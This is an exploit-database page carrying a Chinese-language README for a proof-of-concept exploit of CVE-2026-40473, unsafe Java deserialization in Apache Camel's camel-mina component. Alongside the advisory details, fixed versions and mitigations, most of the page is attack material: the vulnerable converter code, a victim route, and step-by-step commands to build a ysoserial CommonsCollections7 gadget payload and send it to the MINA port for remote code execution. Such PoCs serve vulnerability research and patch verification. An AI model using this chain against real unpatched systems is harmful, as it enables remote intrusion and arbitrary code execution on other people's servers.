Sploitus

Exploit for CVE-2026-40473

kitploit · 2026-08-25

Exploit Code

MARKDOWN158 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OSCERD-CVE-2026-40473
# camel-mina MinaConverter.toObjectInput 不安全反序列化复现工具 (CVE-2026-40473)

此项目演示了 Apache Camel 的 `camel-mina` 组件中的一个 **Java 反序列化漏洞** ,跟踪编号为 **CVE-2026-40473** 。`MinaConverter.toObjectInput(IoBuffer)` 类型转换器将接收到的字节包装在原始的 `ObjectInputStream` 中,且未设置 `ObjectInputFilter`;因此,如果路由将 TCP/UDP 正文转换为 `ObjectInput` 并调用 `readObject()`,则攻击者可以向 MINA 端口发送精心构造的序列化对象,从而实现 **远程代码执行** 。

公告:https://camel.apache.org/security/CVE-2026-40473.html

## 漏洞摘要

属性| 值  
---|---  
**组件**| `camel-mina`  
**受影响类**| `org.apache.camel.component.mina.MinaConverter` (`toObjectInput`)  
**CWE**|  CWE-502:不可信数据的反序列化  
**影响**|  通过 TCP/UDP 实现远程代码执行 (RCE)  
**受影响版本**|  从 3.0.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前  
**修复版本**|  4.14.6、4.18.2、4.20.0  
**JIRA**|  CAMEL-23319  
**报告者**|  Venkatraman Kumar (Securin)  
  
## 技术细节

`IoBuffer → ObjectInput` 类型转换器将缓冲区包装在原始的 `ObjectInputStream` 中:

root@kitploit:~
    
    
    // MinaConverter.toObjectInput(IoBuffer) - 受影响版本
    @Converter
    public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
        InputStream is = buffer.asInputStream();
        return new ObjectInputStream(is);   // 没有 ObjectInputFilter
    }
    

当 camel-mina TCP/UDP 消费者传递原始字节(例如使用 `allowDefaultCodec=false`)并且路由请求 `ObjectInput`(通过 `getBody(ObjectInput.class)`、`@Body ObjectInput` 或 `convertBodyTo(ObjectInput.class)`)时,该转换器会被调用。对返回的流调用 `readObject()` 即可执行攻击者提供的字节中的任意 gadget 链。

## 受害者路由

root@kitploit:~
    
    
    from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
        .process(exchange -> {
            ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
            Object obj = oi.readObject();                                  // 反序列化接收点
            exchange.getMessage().setBody("deserialized: " + obj);
        });
    

## 前提条件

  * Java 17+ 和 Maven 3.8+(用于构建 jar)
  * Docker(用于运行复现环境)
  * ysoserial(用于生成载荷)



## 复现步骤

### 步骤 1:构建 jar 并启动容器

root@kitploit:~
    
    
    mvn clean package -DskipTests
    docker compose up -d --build
    

### 步骤 2:生成恶意载荷

root@kitploit:~
    
    
    wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
    
    # 在 JDK 21 上添加 --add-opens 以生成 CommonsCollections gadget:
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
         --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
         -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
    

### 步骤 3:通过 TCP 发送到 MINA 端口 (RCE)

root@kitploit:~
    
    
    curl -X POST http://localhost:8080/exploit/inject \
      -H "Content-Type: text/plain" --data-binary @payload.b64
    # 捆绑的辅助工具打开一个指向 mina:5555 的原始 TCP 套接字并写入字节;受害者路由将其转换为 ObjectInput 并调用 readObject()。
    # -> ">>> RCE 证明 — /tmp/pwned 存在:true"
    

(在此 PoC 中,MINA 端口 5555 是容器内部端口;`/exploit/inject` 辅助程序从内部执行原始 TCP 发送。如果需要从主机使用原始客户端(如 `nc`)发送,请暴露端口 5555。)

### 步骤 4:验证

root@kitploit:~
    
    
    docker exec cve-2026-40473 ls -la /tmp/pwned
    

### 清理

root@kitploit:~
    
    
    docker compose down
    

## 攻击向量

任何 camel-mina TCP 或 UDP 消费者,如果其路由将正文转换为 `ObjectInput`(直接转换、通过 `@Body ObjectInput` 或 `convertBodyTo(ObjectInput.class)`),则任何能够访问 MINA 端口的攻击者都可以利用该漏洞。

## 利用条件

  1. 一个请求对接收到的字节进行 `ObjectInput` 转换的 camel-mina TCP/UDP 消费者。
  2. **类路径上存在 gadget 库** (例如 `commons-collections:3.2.1`)。



## 推荐修复方案

升级到 4.14.6 / 4.18.2 / 4.20.0。修复方案为转换器添加了 `ObjectInputFilter` / 类白名单(与 camel-netty、camel-jms 和 camel-infinispan 的强化措施一致)。

## 缓解措施

在升级之前:

  1. **不要将不可信的 MINA 正文转换为`ObjectInput`** / 不要反序列化它们。
  2. **移除 gadget 库** (升级/移除 commons-collections 3.x)。
  3. 将对 MINA 端口的网络访问限制为可信任的对等方。



## 文件结构

root@kitploit:~
    
    
    CVE-2026-40473/
    ├── pom.xml
    ├── Dockerfile
    ├── docker-compose.yml
    ├── README.md
    └── src/main/
        ├── java/com/example/
        │   ├── Application.java
        │   ├── MinaObjectRoute.java      # 受害者路由:from(mina:tcp).getBody(ObjectInput).readObject()
        │   └── ExploitController.java    # /inject:通过 TCP 向 mina:5555 发送序列化字节
        └── resources/
            └── application.properties
    

## 免责声明

此复现工具仅供 **安全研究和授权测试** 使用,针对的是 **已公开披露并修复** 的漏洞。未经明确许可,请勿将其用于任何系统。